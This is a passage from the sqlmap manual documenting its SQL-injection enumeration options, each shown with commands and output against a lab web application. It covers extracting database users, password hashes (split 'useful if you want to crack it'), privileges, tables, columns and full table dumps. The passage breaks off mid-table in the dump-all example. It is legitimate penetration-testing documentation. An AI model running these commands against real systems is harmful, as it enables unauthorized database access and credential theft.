It is possible to retrieve the database management system's user which is
|
|
effectively performing the query on the database from the web application.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
|
|
|
|
current user: 'testuser@localhost'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Current database
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-current-db</tt>
|
|
|
|
<p>
|
|
It is possible to retrieve the database management system's database the
|
|
web application is connected to.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
|
|
|
|
current database: 'master'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Detect if the session user is a database administrator (DBA)
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-is-dba</tt>
|
|
|
|
<p>
|
|
It is possible to detect if the current database management system session user is
|
|
a database administrator.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:49] [INFO] testing if current user is DBA
|
|
[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
|
|
usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
|
|
[hh:mm:49] [INFO] retrieved: 1
|
|
[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
|
|
current user is DBA: 'True'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:57] [INFO] testing if current user is DBA
|
|
[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
|
|
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
|
|
THEN 1 ELSE 0 END) FROM DUAL
|
|
[hh:mm:58] [INFO] retrieved: 1
|
|
[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
|
|
current user is DBA: 'True'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Users
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-users</tt>
|
|
|
|
<p>
|
|
It is possible to enumerate the list of database management system users.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0
|
|
|
|
database management system users [3]:
|
|
[*] postgres
|
|
[*] testuser
|
|
[*] testuser2
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Users password hashes
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-passwords</tt> and <tt>-U</tt>
|
|
|
|
<p>
|
|
It is possible to enumerate the password hashes for each database
|
|
management system user.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
|
|
|
|
[*] debian-sys-maint [1]:
|
|
password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
|
|
[*] root [1]:
|
|
password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
|
|
[*] testuser [1]:
|
|
password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-U</tt> option to specify the user who you
|
|
want to enumerate the password hashes.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
|
|
-U sa -v 0
|
|
|
|
database management system users password hashes:
|
|
[*] sa [1]:
|
|
password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
|
|
ba9930b62ee5d506955
|
|
header: 0x0100
|
|
salt: 0a16d704
|
|
mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
|
|
uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, when you enumerate password hashes on Microsoft SQL Server
|
|
sqlmap split the hash, useful if you want to crack it.
|
|
|
|
<p>
|
|
If you provide <tt>CU</tt> as username it will consider it as an alias for
|
|
current user and will retrieve the password hashes for this user.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
|
|
-U CU -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:48] [INFO] fetching current user
|
|
[hh:mm:48] [INFO] retrieved: postgres
|
|
[hh:mm:49] [INFO] fetching database users password hashes for current user
|
|
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
|
|
[hh:mm:49] [INFO] retrieved: 1
|
|
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
|
|
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
|
|
database management system users password hashes:
|
|
[*] postgres [1]:
|
|
password hash: md5d7d880f96034b72d0bba108afe96c1e7
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Users privileges
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-privileges</tt> and <tt>-U</tt>
|
|
|
|
<p>
|
|
It is possible to enumerate the privileges for each database management
|
|
system user.
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
|
|
|
|
[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
|
|
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
|
|
database management system users privileges:
|
|
[*] CTXSYS [2]:
|
|
privilege: CTXAPP
|
|
privilege: RESOURCE
|
|
[*] DBSNMP [1]:
|
|
privilege: OEM_MONITOR
|
|
[*] FLOWS_020100 (administrator) [4]:
|
|
privilege: CONNECT
|
|
privilege: DBA
|
|
privilege: RESOURCE
|
|
privilege: SELECT_CATALOG_ROLE
|
|
[*] FLOWS_FILES [2]:
|
|
privilege: CONNECT
|
|
privilege: RESOURCE
|
|
[*] HR (administrator) [3]:
|
|
privilege: CONNECT
|
|
privilege: DBA
|
|
privilege: RESOURCE
|
|
[*] MDSYS [2]:
|
|
privilege: CONNECT
|
|
privilege: RESOURCE
|
|
[*] OUTLN [1]:
|
|
privilege: RESOURCE
|
|
[*] SYS (administrator) [22]:
|
|
privilege: AQ_ADMINISTRATOR_ROLE
|
|
privilege: AQ_USER_ROLE
|
|
privilege: AUTHENTICATEDUSER
|
|
privilege: CONNECT
|
|
privilege: CTXAPP
|
|
privilege: DBA
|
|
privilege: DELETE_CATALOG_ROLE
|
|
privilege: EXECUTE_CATALOG_ROLE
|
|
privilege: EXP_FULL_DATABASE
|
|
privilege: GATHER_SYSTEM_STATISTICS
|
|
privilege: HS_ADMIN_ROLE
|
|
privilege: IMP_FULL_DATABASE
|
|
privilege: LOGSTDBY_ADMINISTRATOR
|
|
privilege: OEM_ADVISOR
|
|
privilege: OEM_MONITOR
|
|
privilege: PLUSTRACE
|
|
privilege: RECOVERY_CATALOG_OWNER
|
|
privilege: RESOURCE
|
|
privilege: SCHEDULER_ADMIN
|
|
privilege: SELECT_CATALOG_ROLE
|
|
privilege: XDBADMIN
|
|
privilege: XDBWEBSERVICES
|
|
[*] SYSTEM (administrator) [2]:
|
|
privilege: AQ_ADMINISTRATOR_ROLE
|
|
privilege: DBA
|
|
[*] TSMSYS [1]:
|
|
privilege: RESOURCE
|
|
[*] XDB [2]:
|
|
privilege: CTXAPP
|
|
privilege: RESOURCE
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-U</tt> option to specify the user who you
|
|
want to enumerate the privileges.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
|
|
-U postgres -v 0
|
|
|
|
database management system users privileges:
|
|
[*] postgres (administrator) [3]:
|
|
privilege: catupd
|
|
privilege: createdb
|
|
privilege: super
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, depending on the user privileges, sqlmap identifies if the
|
|
user is a database management system administrator and shows this information
|
|
next to the username.
|
|
|
|
<p>
|
|
If you provide <tt>CU</tt> as username it will consider it as an alias for
|
|
current user and will enumerate the privileges for this user.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
|
|
-U CU -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:25] [INFO] fetching current user
|
|
[hh:mm:25] [INFO] retrieved: postgres
|
|
[hh:mm:25] [INFO] fetching database users privileges for current user
|
|
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
|
|
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
|
|
into distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
[hh:mm:25] [INFO] retrieved: 1
|
|
database management system users privileges:
|
|
[*] postgres (administrator) [3]:
|
|
privilege: catupd
|
|
privilege: createdb
|
|
privilege: super
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that this feature is not available if the back-end database
|
|
management system is Microsoft SQL Server.
|
|
|
|
|
|
<sect2>Available databases
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-dbs</tt>
|
|
|
|
<p>
|
|
It is possible to enumerate the list of databases.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
|
|
|
|
available databases [6]:
|
|
[*] master
|
|
[*] model
|
|
[*] msdb
|
|
[*] Northwind
|
|
[*] pubs
|
|
[*] tempdb
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that this feature is not available if the back-end database
|
|
management system is Oracle.
|
|
|
|
<sect2>Databases tables
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-tables</tt> and <tt>-D</tt>
|
|
|
|
<p>
|
|
It is possible to enumerate the list of tables for all database
|
|
management system's databases.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0
|
|
|
|
Database: testdb
|
|
[1 table]
|
|
+---------------------------------------+
|
|
| users |
|
|
+---------------------------------------+
|
|
|
|
Database: information_schema
|
|
[17 tables]
|
|
+---------------------------------------+
|
|
| CHARACTER_SETS |
|
|
| COLLATION_CHARACTER_SET_APPLICABILITY |
|
|
| COLLATIONS |
|
|
| COLUMN_PRIVILEGES |
|
|
| COLUMNS |
|
|
| KEY_COLUMN_USAGE |
|
|
| PROFILING |
|
|
| ROUTINES |
|
|
| SCHEMA_PRIVILEGES |
|
|
| SCHEMATA |
|
|
| STATISTICS |
|
|
| TABLE_CONSTRAINTS |
|
|
| TABLE_PRIVILEGES |
|
|
| TABLES |
|
|
| TRIGGERS |
|
|
| USER_PRIVILEGES |
|
|
| VIEWS |
|
|
+---------------------------------------+
|
|
|
|
Database: mysql
|
|
[17 tables]
|
|
+---------------------------------------+
|
|
| columns_priv |
|
|
| db |
|
|
| func |
|
|
| help_category |
|
|
| help_keyword |
|
|
| help_relation |
|
|
| help_topic |
|
|
| host |
|
|
| proc |
|
|
| procs_priv |
|
|
| tables_priv |
|
|
| time_zone |
|
|
| time_zone_leap_second |
|
|
| time_zone_name |
|
|
| time_zone_transition |
|
|
| time_zone_transition_type |
|
|
| user |
|
|
+---------------------------------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-D</tt> option to specify the database
|
|
that you want to enumerate the tables.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
|
|
-D testdb -v 0
|
|
|
|
Database: testdb
|
|
[1 table]
|
|
+---------------------------------------+
|
|
| users |
|
|
+---------------------------------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
|
|
-D users -v 0
|
|
|
|
Database: USERS
|
|
[8 tables]
|
|
+-------------------+
|
|
| DEPARTMENTS |
|
|
| EMPLOYEES |
|
|
| HTMLDB_PLAN_TABLE |
|
|
| JOB_HISTORY |
|
|
| JOBS |
|
|
| LOCATIONS |
|
|
| REGIONS |
|
|
| USERS |
|
|
+-------------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt>
|
|
instead of the database name. In provided example <tt>users</tt> was
|
|
used to retrieve all tables owned by an Oracle database management
|
|
system user.
|
|
|
|
|
|
<sect2>Database table columns
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-columns</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt>
|
|
|
|
<p>
|
|
It is possible to enumerate the list of columns for a specific database
|
|
table.
|
|
This functionality depends on the option <tt>-T</tt> to specify the table name
|
|
and optionally on <tt>-D</tt> to specify the database name.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -D testdb -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] retrieved: 3
|
|
[hh:mm:20] [INFO] retrieved: id
|
|
[hh:mm:20] [INFO] retrieved: int(11)
|
|
[hh:mm:21] [INFO] retrieved: name
|
|
[hh:mm:21] [INFO] retrieved: varchar(500)
|
|
[hh:mm:21] [INFO] retrieved: surname
|
|
[hh:mm:21] [INFO] retrieved: varchar(1000)
|
|
Database: testdb
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------------+
|
|
| Column | Type |
|
|
+---------+---------------+
|
|
| id | int(11) |
|
|
| name | varchar(500) |
|
|
| surname | varchar(1000) |
|
|
+---------+---------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --columns \
|
|
-T users -D master -v 0
|
|
|
|
Database: master
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------+
|
|
| Column | Type |
|
|
+---------+---------+
|
|
| id | int |
|
|
| name | varchar |
|
|
| surname | varchar |
|
|
+---------+---------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --columns \
|
|
-T users -D public -v 0
|
|
|
|
Database: public
|
|
Table: users
|
|
[3 columns]
|
|
+---------+--------+
|
|
| Column | Type |
|
|
+---------+--------+
|
|
| id | int4 |
|
|
| name | bpchar |
|
|
| surname | bpchar |
|
|
+---------+--------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that on PostgreSQL you have to provide <tt>public</tt> or the
|
|
name of a system database. That's because it is not possible to enumerate
|
|
other databases tables, only the tables under the schema that the web
|
|
application's user is connected to, which is always <tt>public</tt>.
|
|
|
|
<p>
|
|
If the database name is not specified, the current database name is used.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to enumerate table 'users' columns
|
|
[hh:mm:45] [INFO] fetching current database
|
|
[hh:mm:45] [INFO] retrieved: testdb
|
|
[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb'
|
|
[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:45] [INFO] retrieved: 3
|
|
[hh:mm:45] [INFO] retrieved: id
|
|
[hh:mm:45] [INFO] retrieved: int(11)
|
|
[hh:mm:46] [INFO] retrieved: name
|
|
[hh:mm:46] [INFO] retrieved: varchar(500)
|
|
[hh:mm:46] [INFO] retrieved: surname
|
|
[hh:mm:46] [INFO] retrieved: varchar(1000)
|
|
Database: testdb
|
|
Table: users
|
|
[3 columns]
|
|
+---------+---------------+
|
|
| Column | Type |
|
|
+---------+---------------+
|
|
| id | int(11) |
|
|
| name | varchar(500) |
|
|
| surname | varchar(1000) |
|
|
+---------+---------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-C</tt> option to specify the table columns
|
|
name like the one you provided to be enumerated.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
|
|
-T users -C name -v 1
|
|
|
|
[...]
|
|
[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to enumerate table 'users' columns
|
|
[hh:mm:20] [INFO] fetching current database
|
|
[hh:mm:20] [INFO] retrieved: testdb
|
|
[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:20] [INFO] retrieved: 2
|
|
[hh:mm:20] [INFO] retrieved: name
|
|
[hh:mm:20] [INFO] retrieved: varchar(500)
|
|
[hh:mm:21] [INFO] retrieved: surname
|
|
[hh:mm:21] [INFO] retrieved: varchar(1000)
|
|
Database: testdb
|
|
Table: users
|
|
[2 columns]
|
|
+---------+---------------+
|
|
| Column | Type |
|
|
+---------+---------------+
|
|
| name | varchar(500) |
|
|
| surname | varchar(1000) |
|
|
+---------+---------------+
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Dump database table entries
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>,
|
|
<tt>-</tt><tt>-start</tt>, <tt>-</tt><tt>-stop</tt>, <tt>-</tt><tt>-first</tt>
|
|
and <tt>-</tt><tt>-last</tt>
|
|
|
|
<p>
|
|
It is possible to dump table entries.
|
|
This functionality depends on the option <tt>-T</tt> to specify the table
|
|
name or on the option <tt>-C</tt> to specify the column name and,
|
|
optionally on <tt>-D</tt> to specify the database name.
|
|
|
|
<p>
|
|
If the table name is specified, but the database name is not, the current
|
|
database name is used.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
|
|
-T users -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current
|
|
database to dump table 'users' entries
|
|
[hh:mm:41] [INFO] fetching current database
|
|
[hh:mm:41] [INFO] retrieved: testdb
|
|
[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] retrieved: 3
|
|
[hh:mm:41] [INFO] retrieved: id
|
|
[hh:mm:41] [INFO] retrieved: name
|
|
[hh:mm:41] [INFO] retrieved: surname
|
|
[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb'
|
|
[hh:mm:41] [INFO] retrieved: 4
|
|
[hh:mm:41] [INFO] retrieved: 1
|
|
[hh:mm:42] [INFO] retrieved: luther
|
|
[hh:mm:42] [INFO] retrieved: blissett
|
|
[hh:mm:42] [INFO] retrieved: 2
|
|
[hh:mm:42] [INFO] retrieved: fluffy
|
|
[hh:mm:42] [INFO] retrieved: bunny
|
|
[hh:mm:42] [INFO] retrieved: 3
|
|
[hh:mm:42] [INFO] retrieved: wu
|
|
[hh:mm:42] [INFO] retrieved: ming
|
|
[hh:mm:43] [INFO] retrieved: 4
|
|
[hh:mm:43] [INFO] retrieved:
|
|
[hh:mm:43] [INFO] retrieved: nameisnull
|
|
Database: testdb
|
|
Table: users
|
|
[4 entries]
|
|
+----+--------+------------+
|
|
| id | name | surname |
|
|
+----+--------+------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | NULL | nameisnull |
|
|
+----+--------+------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-C</tt> option to specify the table column
|
|
that you want to enumerate the entries.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
|
|
-T users -D master -C surname -v 0
|
|
|
|
Database: master
|
|
Table: users
|
|
[5 entries]
|
|
+-------------------+
|
|
| surname |
|
|
+-------------------+
|
|
| blisset |
|
|
| bunny |
|
|
| ming |
|
|
| nameisnull |
|
|
| user agent header |
|
|
+-------------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
If only the column name is specified, sqlmap will enumerate and ask the
|
|
user to dump all databases' tables containing user provided column(s).
|
|
This feature can be useful to identify, for instance, tables containing
|
|
custom application credentials.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
|
|
-C "urna"
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
do you want sqlmap to consider provided column(s):
|
|
[1] as LIKE column names (default)
|
|
[2] as exact column names
|
|
> 1
|
|
[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna'
|
|
[hh:mm:08] [INFO] fetching number of databases with tables containing columns like
|
|
'urna'
|
|
[hh:mm:08] [INFO] retrieved: 1
|
|
[hh:mm:08] [INFO] retrieved: testdb
|
|
[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
|
|
[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in
|
|
database 'testdb'
|
|
[hh:mm:10] [INFO] retrieved: 1
|
|
[hh:mm:10] [INFO] retrieved: users
|
|
[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
|
|
[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
|
|
[hh:mm:10] [INFO] retrieved: 1
|
|
[hh:mm:10] [INFO] retrieved: surname
|
|
Columns like 'urna' were found in the following databases:
|
|
Database: testdb
|
|
Table: users
|
|
[1 column]
|
|
+---------+
|
|
| Column |
|
|
+---------+
|
|
| surname |
|
|
+---------+
|
|
|
|
do you want to dump entries? [Y/n] y
|
|
which database(s)?
|
|
[a]ll (default)
|
|
[testdb]
|
|
[q]uit
|
|
>
|
|
which table(s) of database 'testdb'?
|
|
[a]ll (default)
|
|
[users]
|
|
[s]kip
|
|
[q]uit
|
|
>
|
|
[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on
|
|
database 'testdb'
|
|
[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table
|
|
'users' on database 'testdb'
|
|
[hh:mm:23] [INFO] retrieved: 4
|
|
[hh:mm:23] [INFO] retrieved: blissett
|
|
[hh:mm:23] [INFO] retrieved: bunny
|
|
[hh:mm:23] [INFO] retrieved: ming
|
|
[hh:mm:23] [INFO] retrieved: nameisnull
|
|
Database: testdb
|
|
Table: users
|
|
[4 entries]
|
|
+------------+
|
|
| surname |
|
|
+------------+
|
|
| blissett |
|
|
| bunny |
|
|
| ming |
|
|
| nameisnull |
|
|
+------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
sqlmap also stores for each table the dumped entries in a CSV format file.
|
|
You can see the absolute path where sqlmap stores the dumped tables entries
|
|
by providing a verbosity level greater than or equal to 1.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
|
|
-T users -D public -v 1
|
|
|
|
[...]
|
|
Database: public
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 5 | | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
|
|
172.16.213.131/dump/public/users.csv'
|
|
[...]
|
|
|
|
$ cat ./output/172.16.213.131/dump/public/users.csv
|
|
id,name,surname
|
|
"1","luther","blissett"
|
|
"2","fluffy","bunny"
|
|
"3","wu","ming"
|
|
"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header"
|
|
"5","","nameisnull"
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
You can also provide the <tt>-</tt><tt>-start</tt> and/or the <tt>-</tt><tt>-stop</tt>
|
|
options to limit the dump to a range of entries, while those entries can be further
|
|
limited to a range of character positions provided with <tt>-</tt><tt>-first</tt>
|
|
and/or the <tt>-</tt><tt>-last</tt> options:
|
|
|
|
<itemize>
|
|
<item><tt>-</tt><tt>-start</tt> specifies the first entry to enumerate.
|
|
<item><tt>-</tt><tt>-stop</tt> specifies the last entry to enumerate.
|
|
</itemize>
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
|
|
-T users -D testdb --start 2 --stop 4 -v 0
|
|
|
|
Database: testdb
|
|
Table: users
|
|
[3 entries]
|
|
+----+--------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+--------------------------------------------+-------------------+
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
|
|
+----+--------------------------------------------+-------------------+
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap is very flexible. You can leave it to automatically
|
|
enumerate the whole database table up to a range of characters of a single
|
|
column of a specific table entry.
|
|
|
|
|
|
<sect2>Dump all databases tables entries
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-dump-all</tt> and <tt>-</tt><tt>-exclude-sysdbs</tt>
|
|
|
|
<p>
|
|
It is possible to dump all databases tables entries at once.
|
|
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
|
|
|
|
Database: testdb
|
|
Table: users
|
|
[5 entries]
|
|
+----+--------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+--------------------------------------------+-------------------+
|
|
| 1 | luther | blissett |
|
|
| 2 | fluffy | bunny |
|
|
| 3 | wu | ming |
|
|
